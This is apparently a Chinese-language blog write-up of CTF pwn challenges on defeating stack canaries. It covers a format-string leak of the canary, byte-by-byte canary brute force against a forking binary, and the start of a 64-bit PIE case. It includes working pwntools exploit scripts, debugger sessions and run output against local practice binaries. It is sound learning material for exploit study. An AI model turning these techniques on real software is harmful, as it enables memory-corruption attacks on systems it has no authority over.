【ctf题目系列】pwn类型 canary

01 格式化字符串 (32位程序)

checksec查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~/ctf-practice/canary/01]
└─# file bin
bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=01c7b75be8e31b585bf8739665273c91584b826e, not stripped

┌──(root㉿kali)-[~/ctf-practice/canary/01]
└─# checksec --file=bin
[*] '/root/ctf-practice/canary/01/bin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

┌──(root㉿kali)-[~/ctf-practice/canary/01]
└─# ./bin
%7$p
0xda44e500123456

checksec查看发现:32位程序,有canary

image.png

分析漏洞函数

从ida中查看,分析漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[6]; // [esp+6h] [ebp-12h] BYREF
unsigned int v5; // [esp+Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
init();
__isoc99_scanf("%6s", format);
printf(format);
fun();
return 0;
}

发现上面的main函数中存在格式化字符串漏洞,可以利用该漏洞泄露出canary的地址

1
2
3
4
5
6
7
8
9
unsigned int fun()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v2; // [esp+6Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
read(0, buf, 0x78u);
return __readgsdword(0x14u) ^ v2;
}

fun函数中,有一个栈溢出的漏洞,可以构造payload进行栈溢出,返回地址填充成什么呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int getflag()
{
FILE *stream; // [esp+4h] [ebp-74h]
char s[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
stream = fopen("./flag", "r");
if ( !stream )
puts("get flag error");
fgets(s, 100, stream);
puts(s);
return __readgsdword(0x14u) ^ v3;
}

这个地方看到有一个后门函数,直接返回到这个函数位置即可~

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0804863B
.text:0804863B ; =============== S U B R O U T I N E =======================================
.text:0804863B
.text:0804863B ; Attributes: bp-based frame
.text:0804863B
.text:0804863B ; unsigned int getflag()
.text:0804863B public getflag
.text:0804863B getflag proc near
.text:0804863B
.text:0804863B stream= dword ptr -74h
.text:0804863B s= byte ptr -70h
.text:0804863B var_C= dword ptr -0Ch
.text:0804863B
.text:0804863B ; __unwind {
.text:0804863B 55 push ebp

看到后门函数为cat ./flag,所以在同级目录下加个一个flag文件,如下:

1
2
3
┌──(root㉿kali)-[~/ctf-practice/canary/01]
└─# cat flag
flag123

如何泄露canary地址 + 如何寻找变量和ebp之间的偏移

先分析一下源代码

1
2
3
4
5
# gdb bin
pwndbg> b main
Breakpoint 1 at 0x8048739
pwndbg> r

image.png

1
2
0x804873c <main+17>    mov    eax, dword ptr gs:[0x14]
0x8048742 <main+23> mov dword ptr [ebp - 0xc], eax

这两行就是和canary相关的汇编代码

1
pwndbg> n

运行完 0x804873c <main+17> mov eax, dword ptr gs:[0x14]之后,eax中存入的即为canary的值,为0x888b8f00 (注意,每次运行canary的值都会变),如下图

image.png

运行完0x8048742 <main+23> mov dword ptr [ebp - 0xc], eax,canary的值被存入到ebp-0xc的位置,如下图

image.png

为了方便查看,把伪代码再粘贴一份过来

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[6]; // [esp+6h] [ebp-12h] BYREF
unsigned int v5; // [esp+Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
init();
__isoc99_scanf("%6s", format);
printf(format);
fun();
return 0;
}

__isoc99_scanf("%6s", format); scanf函数有两个参数,我们知道,函数压栈的时候,是从右向左压栈的。

如下图红框1,可以看到在调用scanf之前,push了两个值,第一个eax([ebp-0x12])是format的地址,第二个0x8048838是”%6s”,所以format在ebp-0x12的位置。EBP位于0xffffd368,所以format在0xffffd356的位置。

1
2
3
4
5
6
7
└─# python
Python 3.11.4 (main, Jun 7 2023, 10:13:09) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xffffd368 - 0x12
4294955862
>>> hex(4294955862)
'0xffffd356'

另一种方法,如下图红框2,运行完main+39和main+40之后,栈中最近的两个变量即为scanf的两个参数,所以format在0xffffd356的位置。

image.png

继续运行,输入%p%p%p(因为只能接收6个字符),直到输出printf

1
2
3
pwndbg> n
%p%p%p
pwndbg> n

如下图,最上面输出的3个地址,即为printf格式化字符串漏洞泄露的3个地址,从上往下数,canary位于第7个位置。

image.png

image.png

再次验证一下
退出gdb调试,重新进入,这次输入%7$p

image.png

可以看到,输出的地址和canary的地址是一样的
image.png

image.png

为了方便查看,我把fun的代码再粘贴一份

1
2
3
4
5
6
7
8
9
unsigned int fun()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v2; // [esp+6Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
read(0, buf, 0x78u);
return __readgsdword(0x14u) ^ v2;
}

同样的方式,查找buf变量到ebp的距离,如下图,可以看到buf为ebp-70h的位置

1
2
3
4
5
6
7
8
9
pwndbg> b fun
Breakpoint 1 at 0x80486f9
pwndbg> r
Starting program: /root/ctf-practice/canary/01/bin
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
%7$p
0x9585b900

image.png

main和fun函数canary到ebp的偏移都是一样的,所以我们从fun函数进行溢出

栈帧分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
默认栈帧
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+-----------------
| |
0xc | |
| canary |
ebp-0xc ---> +-----------------+
| | 0x70
| |
| |
| |
| |
| |
ebp-0x70 buf--->+-----------------+-----------------

修改后栈帧
+-----------------+
| (retaddr) 后门 |
+-----------------+
| (saved ebp)BBBB |
ebp--->+-----------------+-----------------
| BBBB |
0xc | BBBB |
| canary |
ebp-0xc ---> +-----------------+
| | 0x70
| AAAA |
| |
| |
| |
| |
ebp-0x70 buf--->+-----------------+-----------------

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

from pwn import *

# context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件


p = process('./bin')

payload = '%7$p' # 可以
# payload = '%7$x' # 可以
p.sendline(payload)
canary = int(p.recv(),16)
print("canary: ", canary) # p.recv()应该返回一个十六进制字符串,然后通过int()函数将其转换为整数,并将结果存储在canary变量中。
print("hex(canary): ", hex(canary))
getflag = 0x0804863B
# payload = b'a'*100 + p32(canary) + b'a'*12 + p32(getflag) # 可以
# payload = b'a'*(0x70-0x0c) + p32(canary) + b'b'* 0xc + p32(getflag) # 可以
payload = cyclic(0x70-0x0c) + p32(canary) + cyclic(0xc) + p32(getflag) # 可以

p.send(payload)
p.interactive()


"""
┌──(root㉿kali)-[~/ctf-practice/canary/01]
└─# python exp.py
[+] Starting local process './bin': pid 174011
/root/ctf-practice/canary/01/exp.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(payload)
canary: 4237685760
hex(canary): 0xfc95f400
[*] Switching to interactive mode
flag123

"""

参考

canary的各种姿势—-pwn题解版 题目1

02 针对fork的进程 (32位程序)

checksec分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~/ctf-practice/canary/02]
└─# checksec --file=bin1
[*] '/root/ctf-practice/canary/02/bin1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

┌──(root㉿kali)-[~/ctf-practice/canary/02]
└─# file bin1
bin1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=29de21cdd9a0496a8057313502c90562b715014b, not stripped

┌──(root㉿kali)-[~/ctf-practice/canary/02]
└─# ./bin1
welcome
123456
recv sucess
welcome
qweasdzxc
recv sucess
welcome


image.png

分析漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__pid_t v3; // [esp+Ch] [ebp-Ch]

init();
while ( 1 )
{
v3 = fork();
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0);
}
else
{
puts("welcome");
fun();
puts("recv sucess");
}
}
puts("fork error");
exit(0);
}
1
2
3
4
5
6
7
8
9
unsigned int fun()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v2; // [esp+6Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
read(0, buf, 0x78u);
return __readgsdword(0x14u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned int getflag()
{
FILE *stream; // [esp+4h] [ebp-74h]
char s[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
stream = fopen("./flag", "r");
if ( !stream )
{
puts("get flag error");
exit(0);
}
fgets(s, 100, stream);
puts(s);
return __readgsdword(0x14u) ^ v3;
}

对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#coding=utf8
from pwn import *

# context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件

p = process('./bin1')

p.recvuntil('welcome\n')
canary = b'\x00'
for i in range(3):
for i in range(256):
txt = b'a'*100 + canary + bytes([i])
# print("txt: ", txt)
p.send(txt)
a = p.recvuntil("welcome\n")
if b"recv" in a:
canary += bytes([i])
print("canary: ", canary)
break
print("type(canary): ", type(canary))
getflag = 0x0804863B
print("getflag: ", getflag)
print("p32(getflag): ", p32(getflag))
payload = b'a'*100 + canary + b'b'*12 + p32(getflag)
p.sendline(payload)
p.interactive()


"""
└─# python exp.py
[+] Starting local process './bin1': pid 248869
/root/ctf-practice/canary/02/exp.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('welcome\n')
/root/ctf-practice/canary/02/exp.py:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
a = p.recvuntil("welcome\n")
canary: b'\x00?'
canary: b'\x00?\xb2'
canary: b'\x00?\xb2a'
type(canary): <class 'bytes'>
getflag: 134514235
p32(getflag): b';\x86\x04\x08'
[*] Switching to interactive mode
flag123

welcome
recv sucess
welcome

"""

debug模式下的输出:

image.png

当输入00 a6的时候,输出stack smashing detected
当输入00 a7的时候,输出recv sucess

普通执行输出:

image.png

和上一题一样,同一个目录下放了一个flag文件
image.png

参考

canary的各种姿势—-pwn题解版 题目2

03 (64位)

checksec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~/ctf-practice/canary/03]
└─# checksec --file=babypie
[*] '/root/ctf-practice/canary/03/babypie'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

┌──(root㉿kali)-[~/ctf-practice/canary/03]
└─# file babypie
babypie: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=77a11dbd367716f44ca03a81e8253e14b6758ac3, stripped


分析漏洞函数

1
2
3
4
5
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_960(a1, a2, a3);
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 sub_960()
{
__int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF

buf[5] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
memset(buf, 0, 32);
puts("Input your Name:");
read(0, buf, 0x30uLL);
printf("Hello %s:\n", (const char *)buf);
read(0, buf, 0x60uLL);
return 0LL;
}

image.png

image.png

知识点

memset

1
2
__int64 buf[6]; 
memset(buf, 0, 32);

这段代码声明了一个名为 buf 的数组,该数组的元素类型是 __int64,并且数组的大小为6个 __int64 元素。接着,使用 memset 函数将这个数组的前32个字节都设置为0。这通常用于确保数组的初始状态,以避免包含未初始化的数据。


【ctf题目系列】pwn类型 canary
http://example.com/2023/09/04/ctf/【ctf题目系列】pwn类型 canary/
作者
ningan123
发布于
2023年9月4日
许可协议